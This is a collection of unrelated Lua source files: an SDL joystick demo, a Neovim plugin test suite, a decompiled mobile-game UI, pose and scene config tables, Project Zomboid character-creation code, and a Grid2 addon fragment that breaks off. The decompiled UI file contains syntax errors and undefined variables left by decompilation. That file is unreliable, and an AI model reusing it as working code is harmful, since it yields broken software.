SDL.Init(Bit.bor(SDL.INIT_VIDEO,SDL.INIT_JOYSTICK))
SDL.WM_SetCaption("Luvit!", nil);
local screen = SDL.SetVideoMode(1024, 768, 0, SDL.RESIZABLE)
local joysticks = {}
SDL.JoystickEventState(SDL.ENABLE);
p("numjoysticks", SDL.NumJoysticks())
for i = 1,SDL.NumJoysticks() do
p("Found ", FFI.string(SDL.JoystickName(i-1)));
local joy = SDL.JoystickOpen(i-1)
joysticks[i] = joy
end
p("Joysticks", joysticks)
local function exit()
SDL.stop_events()
SDL.Quit();
print("Thanks for Playing!");
end
SDL:on(SDL.QUIT, exit)
SDL:on(SDL.KEYDOWN, function (evt)
p("on_keydown", evt)
local sym = evt.key.keysym.sym
if sym == SDL.ffi.SDLK_ESCAPE then
exit()
end
end)
local x = screen.w / 2
local y = screen.h / 2
local mx = 0
local my = 0
SDL:on(SDL.JOYAXISMOTION, function (evt)
local j = evt.jaxis
p("JOYAXISMOTION", {which=j.which,axis=j.axis,value=j.value})
-- +0 right -0 left
-- +1 down -1 up
if j.axis == 0 then
mx = j.value / 0x8000
elseif j.axis == 1 then
my = j.value / 0x8000
end
end)
SDL:on(SDL.JOYHATMOTION, function (evt)
local j = evt.jhat
p("JOYHATMOTION", {which=j.which,hat=j.hat,value=j.value})
end)
SDL:on(SDL.JOYBUTTONDOWN, function (evt)
local j = evt.jbutton
p("SDL", SDL)
p("JOYBUTTONDOWN", {which=j.which,button=j.button,state=j.state})
end)
SDL:on(SDL.JOYBUTTONUP, function (evt)
local j = evt.jbutton
p("JOYBUTTONUP", {which=j.which,button=j.button,state=j.state})
end)
local fade_color = SDL.MapRGBA(screen.format, 0, 0, 0, 1)
local spin = 2
local grow = 1.02
local w = FFI.new("int[1]", screen.w)
local h = FFI.new("int[1]", screen.h)
SDL.GFX.rotozoomSurfaceSize(screen.w, screen.h, spin, grow, w, h)
w = w[0]
h = h[0]
SDL:on(SDL.VIDEORESIZE, function (evt)
p("ON_VIDEORESIZE", {w=evt.resize.w,h=evt.resize.h})
local old = screen
screen = SDL.SetVideoMode(evt.resize.w, evt.resize.h, 0, SDL.RESIZABLE)
SDL.FreeSurface(old)
local w = FFI.new("int[1]", screen.w)
local h = FFI.new("int[1]", screen.h)
SDL.GFX.rotozoomSurfaceSize(screen.w, screen.h, spin, grow, w, h)
w = w[0]
h = h[0]
end)
SDL:on('tick', function (delta)
x = x + mx * delta
y = y + my * delta
local tmp = SDL.GFX.rotozoomSurface(screen, spin, grow, 1)
SDL.ffi.SDL_UpperBlit(tmp, Rect((w - screen.w)/2,(h - screen.h)/2,screen.w,screen.h), screen, null)
SDL.ffi.SDL_FreeSurface(tmp)
local color = Math.random(0x100000000)
SDL.GFX.filledCircleColor(screen, x, y, 50, color)
-- Flush the output
SDL.Flip(screen)
end)
p("SDL", SDL)
|
local substitute = require("substitute")
local range = require("substitute.range")
local function execute_keys(feedkeys)
local keys = vim.api.nvim_replace_termcodes(feedkeys, true, false, true)
vim.api.nvim_feedkeys(keys, "tm", false)
end
describe("Substitute range", function()
before_each(function()
local buf = vim.api.nvim_create_buf(false, true)
vim.api.nvim_command("buffer " .. buf)
vim.api.nvim_buf_set_lines(0, 0, -1, true, {
"Lorem",
"ipsum",
"dolor",
"sit",
"amet",
})
end)
it("should prepare replace command", function()
substitute.setup()
range.operator()
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 1, 4, {})
range.operator_callback("char")
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 5, 3, {})
local cmd = range.create_replace_command()
assert.are.equal(vim.api.nvim_replace_termcodes(":'[,']s/Lorem//g<Left><Left>", true, false, true), cmd)
end)
it("should use abolish from global setup", function()
substitute.setup({
range = {
prefix = "S",
},
})
range.operator()
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 1, 4, {})
range.operator_callback("char")
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 5, 3, {})
local cmd = range.create_replace_command()
assert.are.equal(vim.api.nvim_replace_termcodes(":'[,']S/Lorem//g<Left><Left>", true, false, true), cmd)
end)
it("should use abolish from override", function()
substitute.setup()
range.operator({ prefix = "S" })
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 1, 4, {})
range.operator_callback("char")
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 5, 3, {})
local cmd = range.create_replace_command()
assert.are.equal(vim.api.nvim_replace_termcodes(":'[,']S/Lorem//g<Left><Left>", true, false, true), cmd)
end)
it("should prompt current text", function()
substitute.setup({
range = {
prompt_current_text = true,
},
})
range.operator()
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 1, 4, {})
range.operator_callback("char")
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 5, 3, {})
local cmd = range.create_replace_command()
assert.are.equal(vim.api.nvim_replace_termcodes(":'[,']s/Lorem/Lorem/g<Left><Left>", true, false, true), cmd)
end)
it("should prompt current text using override", function()
substitute.setup()
range.operator({ prompt_current_text = true })
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 1, 4, {})
range.operator_callback("char")
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 5, 3, {})
range.selection_operator_callback()
execute_keys("<cr>")
local cmd = range.create_replace_command()
assert.are.equal(vim.api.nvim_replace_termcodes(":'[,']s/Lorem/Lorem/g<Left><Left>", true, false, true), cmd)
end)
it("should ask for confirmation", function()
substitute.setup({
range = {
confirm = true,
},
})
range.operator()
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 1, 4, {})
range.operator_callback("char")
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 5, 3, {})
local cmd = range.create_replace_command()
assert.are.equal(vim.api.nvim_replace_termcodes(":'[,']s/Lorem//gc<Left><Left><Left>", true, false, true), cmd)
end)
it("should ask for confirmation using override", function()
substitute.setup()
range.operator({ confirm = true })
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 1, 4, {})
range.operator_callback("char")
vim.api.nvim_buf_set_mark(0, "[", 1, 0, {})
vim.api.nvim_buf_set_mark(0, "]", 5, 3, {})
local cmd = range.create_replace_command()
assert.are.equal(vim.api.nvim_replace_termcodes(":'[,']s/Lorem//gc<Left><Left><Left>", true, false, true), cmd)
end)
end)
|
slot0 = class("IdolMasterMedalCollectionView", import("view.base.BaseUI"))
slot0.FADE_OUT_TIME = 1
slot0.PAGE_NUM = 7
slot0.MEDAL_NUM_PER_PAGE = 2
slot0.MEDAL_STATUS_UNACTIVATED = 1
slot0.MEDAL_STATUS_ACTIVATED = 2
slot0.MEDAL_STATUS_ACTIVATABLE = 3
slot0.INDEX_CONVERT = {
1,
2,
5,
6,
7,
4,
3
}
slot0.getUIName = function (slot0)
return "IdolMasterMedalCollectionUI"
end
slot0.init = function (slot0)
slot0:initData()
slot0:findUI()
slot0:addListener()
end
slot0.didEnter = function (slot0)
slot0:checkAward()
setText(slot0.progressText, setColorStr(tostring(#slot0.activeIDList), "#8CD5FFFF") .. "/" .. #slot0.allIDList)
triggerToggle(slot0.switchBtnList[1], true)
end
slot0.willExit = function (slot0)
if LeanTween.isTweening(go(slot0.photo)) then
LeanTween.cancel(go(slot0.photo), false)
end
end
slot0.initData = function (slot0)
slot0.activityProxy = getProxy(ActivityProxy)
slot0.activityData = slot0.activityProxy:getActivityById(ActivityConst.IDOL_MASTER_MEDAL_ID)
slot0.allIDList = IdolMasterMedalCollectionMediator.GetPicturePuzzleIds(slot0.activityData.id)
slot0.pageIDList = {}
for slot4 = 1, slot0.PAGE_NUM, 1 do
slot5 = slot0.INDEX_CONVERT[slot4]
slot0.pageIDList[slot4] = {}
for slot9 = 1, slot0.MEDAL_NUM_PER_PAGE, 1 do
slot0.pageIDList[slot4][slot9] = slot0.allIDList[(slot5 - 1) * slot0.MEDAL_NUM_PER_PAGE + slot9]
end
end
slot0.activatableIDList = slot0.activityData.data1_list
slot0.activeIDList = slot0.activityData.data2_list
slot0.curPage = nil
slot0.newMedalID = nil
end
slot0.findUI = function (slot0)
slot0.bg = slot0:findTF("BG")
slot1 = slot0:findTF("NotchAdapt")
slot0.backBtn = slot0:findTF("BackBtn", slot1)
slot0.progressText = slot0:findTF("ProgressImg/ProgressText", slot1)
slot0.helpBtn = slot0:findTF("HelpBtn", slot1)
slot0.tplButtom = findTF(slot2, "tplButtom")
slot0.imgGot = slot0:findTF("ProgressImg/got", slot1)
slot0.switchBtnList = {}
for slot6 = 1, slot0.PAGE_NUM, 1 do
LoadSpriteAtlasAsync("ui/idolmastermedalcollectionui_atlas", "icon" .. slot6, function (slot0)
if slot0 then
setImageSprite(findTF(slot0, "icon"), slot0, true)
end
end)
LoadSpriteAtlasAsync("ui/idolmastermedalcollectionui_atlas", "iconSelect" .. slot6, function (slot0)
if slot0 then
setImageSprite(findTF(slot0, "iconSelect"), slot0, true)
end
end)
setParent(slot7, slot2)
setActive(slot7, true)
table.insert(slot0.switchBtnList, tf(instantiate(go(slot0.tplButtom))))
end
slot0.infoNode = slot0:findTF("book/info")
slot0.photoNode = slot0:findTF("book/photo")
slot0.photo = slot0:findTF("got", slot0.photoNode)
end
slot0.addListener = function (slot0)
onButton(slot0, slot0.backBtn, function ()
slot0:closeView()
end, SFX_CANCEL)
onButton(slot0, slot0.helpBtn, function ()
pg.MsgboxMgr.GetInstance():ShowMsgBox({
type = MSGBOX_TYPE_HELP,
helps = pg.gametip.idolmaster_collection.tip
})
end, SFX_PANEL)
for slot4, slot5 in ipairs(slot0.switchBtnList) do
onToggle(slot0, slot5, function (slot0)
if slot0 == true then
slot0.curPage = slot0.curPage ~=
slot0:updateSwitchBtnTF()
slot0:updateMedalContainerView(slot0.curPage ~= , )
end
end, SFX_PANEL)
end
end
slot0.UpdateActivity = function (slot0, slot1)
slot0:checkAward()
end
slot0.updateMedalContainerView = function (slot0, slot1, slot2)
slot0:updatePhotoNode(slot0.pageIDList[slot1][1], slot2)
slot0:updateInfoNode(slot0.pageIDList[slot1][2])
end
slot0.getMedalStatus = function (slot0, slot1)
slot4 = not table.contains(slot0.activeIDList, slot1) and not (table.contains(slot0.activatableIDList, slot1) and not table.contains(slot0.activeIDList, slot1))
if slot2 then
return slot0.MEDAL_STATUS_ACTIVATED
elseif slot3 then
return slot0.MEDAL_STATUS_ACTIVATABLE
elseif slot4 then
return slot0.MEDAL_STATUS_UNACTIVATED
end
end
slot0.updatePhotoNode = function (slot0, slot1, slot2)
slot3 = slot0:findTF("task", slot0.photoNode)
slot4 = slot0:findTF("get", slot0.photoNode)
slot5 = slot0:findTF("got", slot0.photoNode)
slot7 = (slot0.curPage - 1) * slot0.MEDAL_NUM_PER_PAGE + 1
if slot0:getMedalStatus(slot1) == slot0.MEDAL_STATUS_UNACTIVATED then
LoadSpriteAtlasAsync("ui/idolmastermedalcollectionui_atlas", "task" .. slot7, function (slot0)
setImageSprite(slot0, slot0, true)
setActive(slot0, true)
end)
else
setActive(slot3, false)
end
if slot6 == slot0.MEDAL_STATUS_ACTIVATED then
if slot2 then
setActive(slot0.photo, false)
LoadSpriteAtlasAsync("ui/idolmastermedalcollectionui_atlas", "photo" .. slot0.curPage, function (slot0)
setImageSprite(slot0.photo, slot0, true)
if LeanTween.isTweening(go(slot0.photo)) then
LeanTween.cancel(go(slot0.photo), false)
end
GetComponent(slot0.photo, typeof(CanvasGroup)).alpha = 0
LeanTween.value(go(slot0.photo), 0, 1, 0.3):setOnUpdate(System.Action_float(function (slot0)
GetComponent(slot0.photo, typeof(CanvasGroup)).alpha = slot0
end))
setActive(slot0.photo, true)
end)
else
LoadSpriteAtlasAsync("ui/idolmastermedalcollectionui_atlas", "photo" .. slot0.curPage, function (slot0)
setImageSprite(slot0.photo, slot0, true)
setActive(slot0.photo, true)
end)
end
else
setActive(slot0.photo, false)
end
setActive(slot4, slot6 == slot0.MEDAL_STATUS_ACTIVATABLE)
if slot6 == slot0.MEDAL_STATUS_ACTIVATABLE then
onButton(slot0, slot0.photoNode, function ()
pg.m02:sendNotification(GAME.MEMORYBOOK_UNLOCK, {
id = slot0,
actId = slot1.activityData.id
})
end, SFX_PANEL)
end
end
slot0.updateInfoNode = function (slot0, slot1)
slot2 = slot0:findTF("task", slot0.infoNode)
slot3 = slot0:findTF("get", slot0.infoNode)
slot4 = slot0:findTF("got", slot0.infoNode)
slot6 = (slot0.curPage - 1) * slot0.MEDAL_NUM_PER_PAGE + 2
if slot0:getMedalStatus(slot1) == slot0.MEDAL_STATUS_UNACTIVATED then
LoadSpriteAtlasAsync("ui/idolmastermedalcollectionui_atlas", "task" .. slot6, function (slot0)
setImageSprite(slot0, slot0, true)
setActive(slot0, true)
end)
else
setActive(slot2, false)
end
if slot5 == slot0.MEDAL_STATUS_ACTIVATED then
LoadSpriteAtlasAsync("ui/idolmastermedalcollectionui_atlas", "info" .. slot0.curPage, function (slot0)
setImageSprite(slot0, slot0, true)
setActive(slot0, true)
end)
else
setActive(slot4, false)
end
setActive(slot3, slot5 == slot0.MEDAL_STATUS_ACTIVATABLE)
if slot5 == slot0.MEDAL_STATUS_ACTIVATABLE then
onButton(slot0, slot0.infoNode, function ()
pg.m02:sendNotification(GAME.MEMORYBOOK_UNLOCK, {
id = slot0,
actId = slot1.activityData.id
})
end, SFX_PANEL)
end
end
slot0.updateSwitchBtnTF = function (slot0)
for slot4, slot5 in ipairs(slot0.switchBtnList) do
slot6 = slot0:findTF("tip", slot5)
if slot0:caculateActivatable(slot4) == 0 or slot4 == slot0.curPage then
setActive(slot6, false)
end
if slot7 > 0 and slot4 ~= slot0.curPage then
setActive(slot6, true)
end
setActive(slot0:findTF("icon", slot5), not (slot4 == slot0.curPage))
setActive(slot0:findTF("iconSelect", slot5), slot4 == slot0.curPage)
end
end
slot0.updateAfterSubmit = function (slot0, slot1)
slot0.activityProxy = getProxy(ActivityProxy)
slot0.activityData = slot0.activityProxy:getActivityById(ActivityConst.IDOL_MASTER_MEDAL_ID)
slot0.activatableIDList = slot0.activityData.data1_list
slot0.activeIDList = slot0.activityData.data2_list
slot0.newMedalID = slot1
triggerToggle(slot0.switchBtnList[slot0.curPage], true)
setText(slot0.progressText, setColorStr(tostring(#slot0.activeIDList), COLOR_WHITE) .. "/" .. #slot0.allIDList)
slot0:checkAward()
end
slot0.isHaveActivableMedal = function ()
if not getProxy(ActivityProxy):getActivityById(ActivityConst.IDOL_MASTER_MEDAL_ID) or slot0:isEnd() then
return
end
slot1 = slot0.data1_list
slot2 = slot0.data2_list
for slot7, slot8 in ipairs(slot3) do
slot10 = table.contains(slot1, slot8)
if not table.contains(slot2, slot8) and slot10 then
return true
end
end
return false
end
slot0.caculateActivatable = function (slot0, slot1)
slot3 = 0
for slot7, slot8 in ipairs(slot2) do
slot10 = table.contains(slot0.activatableIDList, slot8)
if not table.contains(slot0.activeIDList, slot8) and slot10 then
slot3 = slot3 + 1
end
end
return slot3
end
slot0.checkAward = function (slot0)
setActive(slot0.imgGot, #slot0.activeIDList == #slot0.allIDList and slot0.activityData.data1 == 1)
if #slot0.activeIDList == #slot0.allIDList and slot0.activityData.data1 ~= 1 then
pg.m02:sendNotification(GAME.ACTIVITY_OPERATION, {
cmd = 1,
activity_id = ActivityConst.IDOL_MASTER_MEDAL_ID
})
setActive(slot0.imgGot, true)
end
end
return slot0
|
return {
poses = {
fr_link1__fr_jB = {
p = {-1.000000, 0.000000, -0.000000},
r = {1.000000,-0.000000,0.000000,-0.000000,-0.000000,-1.000000,0.000000,1.000000,-0.00000}
},
fr_link2__fr_jC = {
p = {-0.000000, -0.000000, -1.000000},
r = {1.000000,0.000000,0.000000,-0.000000,1.000000,0.000000,0.000000,-0.000000,1.00000}
},
fr_link3__fr_jD = {
p = {-1.000000, -0.000000, -0.000000},
r = {1.000000,0.000000,0.000000,-0.000000,-0.000000,1.000000,0.000000,-1.000000,-0.00000}
},
camera__fr_link2 = {
p = {0.100000, 0.200000, 0.300000},
r = {-0.000000,-1.000000,0.000000,1.000000,-0.000000,-0.000000,0.000000,0.000000,1.00000}
}
}
}
|
SceneConfig = { }
SceneConfig[1]={id=1,remark='普通伤害陷阱',levelName='level_001',spawnPoint={10.5,0,-20}}
SceneConfig[2]={id=2,remark='普通治疗陷阱',levelName='level_002',spawnPoint={10.5,0,-20}}
SceneConfig[3]={id=3,remark='跟踪伤害陷阱',levelName='level_003',spawnPoint={10.5,0,-20}}
SceneConfig[4]={id=4,remark='跟踪治疗陷阱',levelName='level_004',spawnPoint={10.5,0,-20}}
SceneConfig[5]={id=5,remark='离开伤害陷阱',levelName='level_005',spawnPoint={10.5,0,-20}}
SceneConfig[6]={id=6,remark='跟踪治疗陷阱',levelName='level_006',spawnPoint={10.5,0,-20}}
|
--***********************************************************
--** THE INDIE STONE **
--***********************************************************
require "ISUI/ISPanelJoypad"
---@class CoopCharacterCreation : ISPanelJoypad
CoopCharacterCreation = ISPanelJoypad:derive("CoopCharacterCreation")
function CoopCharacterCreation:accept1()
if CoopMapSpawnSelect.instance.selectedRegion then
local spawnRegion = CoopMapSpawnSelect.instance.selectedRegion
print('using spawn region '..tostring(spawnRegion.name))
local spawn = spawnRegion.points[MainScreen.instance.desc:getProfession()]
if not spawn then
spawn = spawnRegion.points["unemployed"]
end
if not spawn then
print("ERROR: there is no spawn point table for the player's profession, don't know where to spawn the player")
return false
end
print(#spawn..' possible spawn points')
local randSpawnPoint = spawn[(ZombRand(#spawn) + 1)]
getWorld():setLuaSpawnCellX(randSpawnPoint.worldX)
getWorld():setLuaSpawnCellY(randSpawnPoint.worldY)
getWorld():setLuaPosX(randSpawnPoint.posX)
getWorld():setLuaPosY(randSpawnPoint.posY)
getWorld():setLuaPosZ(randSpawnPoint.posZ or 0)
elseif getCore():isChallenge() then
-- This shouldn't happen. See LastStandData.getSpawnRegion()
getWorld():setLuaSpawnCellX(globalChallenge.xcell);
getWorld():setLuaSpawnCellY(globalChallenge.ycell);
getWorld():setLuaPosX(globalChallenge.x);
getWorld():setLuaPosY(globalChallenge.y);
getWorld():setLuaPosZ(globalChallenge.z);
end
getWorld():setLuaPlayerDesc(MainScreen.instance.desc)
getWorld():getLuaTraits():clear()
for i,v in pairs(self.charCreationProfession.listboxTraitSelected.items) do
getWorld():addLuaTrait(v.item:getType())
end
MainScreen.instance.avatar = nil
return true
end
function CoopCharacterCreation:accept()
if not self:accept1() then
return
end
-- self:setVisible(false)
self:removeFromUIManager()
if UIManager.getSpeedControls() and not IsoPlayer.allPlayersDead() then
setShowPausedMessage(true)
UIManager.getSpeedControls():SetCurrentGameSpeed(1)
if self.joypadData then
self.joypadData.activeWhilePaused = nil
end
end
CoopCharacterCreation.setVisibleAllUI(true)
CoopCharacterCreation.instance = nil
if ISPostDeathUI.instance[self.playerIndex] then
ISPostDeathUI.instance[self.playerIndex]:removeFromUIManager()
ISPostDeathUI.instance[self.playerIndex] = nil
end
if not self.joypadData then
setPlayerMouse(nil)
return
end
local controller = self.joypadData.controller
local joypadData = JoypadState.joypads[self.playerIndex+1]
JoypadState.players[self.playerIndex+1] = joypadData
joypadData.player = self.playerIndex
joypadData:setController(controller)
joypadData:setActive(true)
local username = nil
if isClient() and self.playerIndex > 0 then
username = CoopUserName.instance:getUserName()
end
setPlayerJoypad(self.playerIndex, self.joypadIndex, nil, username)
self.joypadData.focus = nil
self.joypadData.lastfocus = nil
self.joypadData.prevfocus = nil
self.joypadData.prevprevfocus = nil
end
function CoopCharacterCreation:cancel()
self:removeFromUIManager()
CoopCharacterCreation.setVisibleAllUI(true)
CoopCharacterCreation.instance = nil
if UIManager.getSpeedControls() and not IsoPlayer.allPlayersDead() then
setShowPausedMessage(true)
UIManager.getSpeedControls():SetCurrentGameSpeed(1)
end
if self.joypadData then
self.joypadData.activeWhilePaused = nil
self.joypadData.focus = nil -- self.joypadData.listBox
self.joypadData.lastfocus = nil
self.joypadData.prevfocus = nil
self.joypadData.prevprevfocus = nil
end
if ISPostDeathUI.instance[self.playerIndex] then
ISPostDeathUI.instance[self.playerIndex]:setVisible(true)
if self.joypadData then
self.joypadData.focus = ISPostDeathUI.instance[self.playerIndex]
end
end
end
function CoopCharacterCreation:createChildren()
self.coopUserName = CoopUserName:new((self.width - 400) / 2, (self.height - 200) / 2, 400, 200)
self.coopUserName:initialise()
self.coopUserName:setVisible(false)
self.coopUserName:setAnchorRight(true)
self.coopUserName:setAnchorLeft(true)
self.coopUserName:setAnchorBottom(true)
self.coopUserName:setAnchorTop(true)
self.coopUserName.backgroundColor = {r=0, g=0, b=0, a=0.8}
self.coopUserName.borderColor = {r=1, g=1, b=1, a=0.5}
local w = self.width * 0.5
if w < 768 then w = 768 end
self.mapSpawnSelect = CoopMapSpawnSelect:new((self.width - w) / 2, 48, w, self.height - 64 - 64)
self.mapSpawnSelect:initialise()
self.mapSpawnSelect:setVisible(false)
self.mapSpawnSelect:setAnchorRight(true)
self.mapSpawnSelect:setAnchorLeft(true)
self.mapSpawnSelect:setAnchorBottom(true)
self.mapSpawnSelect:setAnchorTop(true)
self.mapSpawnSelect.backgroundColor = {r=0, g=0, b=0, a=0.8}
self.mapSpawnSelect.borderColor = {r=1, g=1, b=1, a=0.5}
self.charCreationMain = CoopCharacterCreationMain:new(0, 0, self:getWidth(), self:getHeight())
self.charCreationMain:initialise()
self.charCreationMain:setAnchorRight(true)
self.charCreationMain:setAnchorLeft(true)
self.charCreationMain:setAnchorBottom(true)
self.charCreationMain:setAnchorTop(true)
self.charCreationMain.backgroundColor = {r=0, g=0, b=0, a=0.0}
self.charCreationMain.borderColor = {r=1, g=1, b=1, a=0.0}
self.charCreationProfession = CoopCharacterCreationProfession:new(0, 0, self:getWidth(), self:getHeight())
self.charCreationProfession:initialise()
self.charCreationProfession:setAnchorRight(true)
self.charCreationProfession:setAnchorLeft(true)
self.charCreationProfession:setAnchorBottom(true)
self.charCreationProfession:setAnchorTop(true)
self.charCreationProfession.backgroundColor = {r=0, g=0, b=0, a=0.0}
self.charCreationProfession.borderColor = {r=1, g=1, b=1, a=0.0}
self.charCreationHeader = CharacterCreationHeader:new(0, 0, 600, 200)
self.charCreationHeader:initialise()
self.charCreationHeader:setAnchorRight(true)
self.charCreationHeader:setAnchorLeft(true)
self.charCreationHeader:setAnchorBottom(false)
self.charCreationHeader:setAnchorTop(true)
self.charCreationHeader.backgroundColor = {r=0, g=0, b=0, a=0.0}
self.charCreationHeader.borderColor = {r=1, g=1, b=1, a=0.0}
self:addChild(self.coopUserName)
self:addChild(self.mapSpawnSelect)
self:addChild(self.charCreationMain)
self:addChild(self.charCreationProfession)
MainScreen.instance.desc = SurvivorFactory.CreateSurvivor()
MainScreen.instance.avatar = nil
MainScreen.instance.charCreationHeader = self.charCreationHeader
MainScreen.instance.charCreationProfession = self.charCreationProfession
self.mapSpawnSelect:create()
self.charCreationHeader:create()
self.charCreationMain:create()
self.charCreationProfession:create()
self.mapSpawnSelect:setVisible(false)
self.charCreationMain:setVisible(false)
self.charCreationProfession:setVisible(false)
self.charCreationHeader:setVisible(true)
end
function CoopCharacterCreation:new(joypadIndex, joypadData, playerIndex)
local o = ISPanelJoypad:new(0, 0, getCore():getScreenWidth(), getCore():getScreenHeight())
setmetatable(o, self)
self.__index = self
o.borderColor.a = 0
o.joypadIndex = joypadIndex
o.joypadData = joypadData
o.playerIndex = playerIndex
o:setUIName("CoopCharacterCreation")
CoopCharacterCreation.instance = o
return o
end
CoopCharacterCreation.visibleUI = {}
function CoopCharacterCreation.setVisibleAllUI(visible)
local ui = UIManager.getUI()
if not visible then
for i=0,ui:size()-1 do
if ui:get(i):isVisible() then
table.insert(CoopCharacterCreation.visibleUI, ui:get(i):toString())
ui:get(i):setVisible(false)
end
end
else
for i,v in ipairs(CoopCharacterCreation.visibleUI) do
for i=0,ui:size()-1 do
if v == ui:get(i):toString() then
ui:get(i):setVisible(true)
break
end
end
end
CoopCharacterCreation.visibleUI = {}
end
UIManager.setVisibleAllUI(visible)
end
function CoopCharacterCreation.newPlayer(joypadIndex, joypadData)
if CoopCharacterCreation.instance then return end
if UIManager.getSpeedControls() and not IsoPlayer.allPlayersDead() then
setShowPausedMessage(false)
UIManager.getSpeedControls():SetCurrentGameSpeed(0)
joypadData.activeWhilePaused = true
end
CoopCharacterCreation.setVisibleAllUI(false)
local playerIndex = joypadData.player
if not playerIndex then -- true when not respawning
for i=0,getMaxActivePlayers()-1 do
local player = getSpecificPlayer(i)
if not player or player:isDead() then
playerIndex = i
break
end
end
end
local w = CoopCharacterCreation:new(joypadIndex, joypadData, playerIndex)
w:initialise()
w:addToUIManager()
if w.coopUserName:shouldShow() then
w.coopUserName:beforeShow()
w.coopUserName:setVisible(true, joypadData)
elseif w.mapSpawnSelect:hasChoices() then
w.mapSpawnSelect:fillList()
w.mapSpawnSelect:setVisible(true, joypadData)
else
w.mapSpawnSelect:useDefaultSpawnRegion()
w.charCreationProfession:setVisible(true, joypadData)
end
end
function CoopCharacterCreation:newPlayerMouse()
ProfessionFactory.Reset();
BaseGameCharacterDetails.DoProfessions();
if CoopCharacterCreation.instance then return end
if UIManager.getSpeedControls() and not IsoPlayer.allPlayersDead() then
setShowPausedMessage(false)
UIManager.getSpeedControls():SetCurrentGameSpeed(0)
end
CoopCharacterCreation.setVisibleAllUI(false)
local w = CoopCharacterCreation:new(nil, nil, 0)
w:initialise()
w:addToUIManager()
if w.mapSpawnSelect:hasChoices() then
w.mapSpawnSelect:fillList()
w.mapSpawnSelect:setVisible(true)
else
w.mapSpawnSelect:useDefaultSpawnRegion()
w.charCreationProfession:setVisible(true)
end
end
function CoopCharacterCreation:OnJoypadBeforeDeactivate(index)
if self.joypadData and (self.joypadData.id == index) then
-- Controller disconnected, cancel creation.
-- Other windows are children of this ui.
self:cancel()
end
end
|
--[[ Created by Grid2 original authors, modified by Michael --]]
local Grid2 = Grid2
local SecureButton_GetModifiedUnit = SecureButton_GetModifiedUnit
local next = next
local pairs = pairs
local Grid2Frame
--{{{ Registered unit frames tracking
local frames_of_unit = setmetatable({}, { __index = function (self, key)
local result = {}
self[key] = result
return result
end})
local unit_of_frame = {}
function Grid2:SetFrameUnit(frame, unit)
local prev_unit = unit_of_frame[frame]
if prev_unit then
frames_of_unit[prev_unit][frame] = nil
end
if unit then
frames_of_unit[unit][frame] = true
end
unit_of_frame[frame] = unit
end
function Grid2:GetUnitFrames(unit)
return frames_of_unit[unit]
end
--}}}
-- {{ Precalculated backdrop table, shared by all frames
local frameBackdrop
-- }}
--{{{ Grid2Frame script handlers
local GridFrameEvents = {}
function GridFrameEvents:OnShow()
Grid2Frame:SendMessage("Grid_UpdateLayoutSize")
end
function GridFrameEvents:OnHide()
Grid2Frame:SendMessage("Grid_UpdateLayoutSize")
end
function GridFrameEvents:OnAttributeChanged(name, value)
if name == "unit" then
if value then
local unit = SecureButton_GetModifiedUnit(self)
if self.unit ~= unit then
Grid2Frame:Debug("updated", self:GetName(), name, value, unit)
self.unit = unit
Grid2:SetFrameUnit(self, unit)
self:UpdateIndicators()
end
elseif self.unit then
Grid2Frame:Debug("removed", self:GetName(), name, self.unit)
self.unit = nil
Grid2:SetFrameUnit(self, nil)
end
end
end
-- Dispatch OnEnter,OnLeave events to other modules
local eventHooks = { OnEnter = {}, OnLeave = {} }
function GridFrameEvents:OnEnter()
for func in pairs(eventHooks.OnEnter) do
func(self)
end
end
function GridFrameEvents:OnLeave()
for func in pairs(eventHooks.OnLeave) do
func(self)
end
end
--}}}
--{{{ GridFramePrototype
local GridFramePrototype = {}
local function GridFrame_Init(frame, width, height)
for name, value in pairs(GridFramePrototype) do
frame[name] = value
end
for event, handler in pairs(GridFrameEvents) do
frame:HookScript(event, handler)
end
if frame:CanChangeAttribute() then
frame:SetAttribute("initial-width", width)
frame:SetAttribute("initial-height", height)
end
frame:RegisterForClicks("AnyUp")
if Clique then Clique:UpdateRegisteredClicks(frame) end
frame.menu = Grid2Frame.RightClickUnitMenu
frame.container = frame:CreateTexture()
frame:CreateIndicators()
frame:Layout()
end
function GridFramePrototype:Layout()
local dbx = Grid2Frame.db.profile
local w, h = Grid2Frame:GetFrameSize()
-- external border controlled by the border indicator
local r,g,b,a = self:GetBackdropBorderColor()
Grid2:SetFrameBackdrop( self, frameBackdrop )
self:SetBackdropBorderColor(r, g, b, a)
-- inner border color (sure that is the inner border)
local cf = dbx.frameColor
self:SetBackdropColor( cf.r, cf.g, cf.b, cf.a )
-- visible background
local container= self.container
container:SetPoint("CENTER", self, "CENTER")
-- visible background color (commented because now this color is set by the background indicator)
-- local cb = dbx.frameContentColor
-- container:SetVertexColor(cb.r, cb.g, cb.b, cb.a)
-- shrink the background, showing part of the real frame background (that is behind) as a inner border.
local inset = (dbx.frameBorder+dbx.frameBorderDistance)*2
container:SetSize( w-inset, h-inset )
-- visible background texture
local texture = Grid2:MediaFetch("statusbar", dbx.frameTexture, "Gradient" )
self.container:SetTexture(texture)
-- set size
if not InCombatLockdown() then self:SetSize(w,h) end
-- highlight texture
if dbx.mouseoverHighlight then
self:SetHighlightTexture( Grid2:MediaFetch("background", dbx.mouseoverTexture, "Blizzard Quest Title Highlight") )
local color = dbx.mouseoverColor
